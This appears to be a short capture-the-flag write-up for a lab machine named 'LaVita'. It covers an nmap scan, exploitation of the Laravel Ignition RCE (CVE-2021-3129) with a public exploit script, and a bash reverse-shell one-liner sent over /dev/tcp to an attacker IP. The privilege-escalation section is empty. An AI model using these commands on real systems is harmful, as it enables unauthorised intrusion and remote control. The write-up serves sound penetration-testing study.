LaVita
Summary
Only two open ports: SSH (22) and a Laravel-based web app on port 80.
Identified Laravel log file path on the web server.
Leveraged CVE-2021-3129 – a Laravel deserialization RCE vulnerability via log poisoning and debugging mode.
Achieved code execution through poisoned logs.
Got reverse shell by modifying the exploit payload.
🧵 Let's Unpack
Enumeration
sudo nmap -A -T4 -sV -sC -p- -Pn 192.168.229.38 --openOpen Ports:
22/tcp→ OpenSSH 8.4p1 Debian80/tcp→ Apache 2.4.56 (Laravel app)
👀 Observed a default W3.CSS template on HTTP page.
Manually enumerating team names from the web app:
Jan Ringo
Kai Ringo
Rebecca Flex
Johnny Skunk
Useful for wordlists or user enumeration later.
Initial Foothold
🧨 Vulnerable Laravel app — exploited CVE-2021-3129 (Ignition RCE via log file):
Public exploit used: → Laravel Ignition RCE Exploit
python3 49424.py http://192.168.229.38 /var/www/html/laravel/storage/logs/laravel.log 'uname -a'📌 After verifying command execution, updated payload with reverse shell:
bash -c "bash -i >& /dev/tcp/192.168.45.240/4444 0>&1"Got a reverse shell from the web server.
Privilege Escalation
Last updated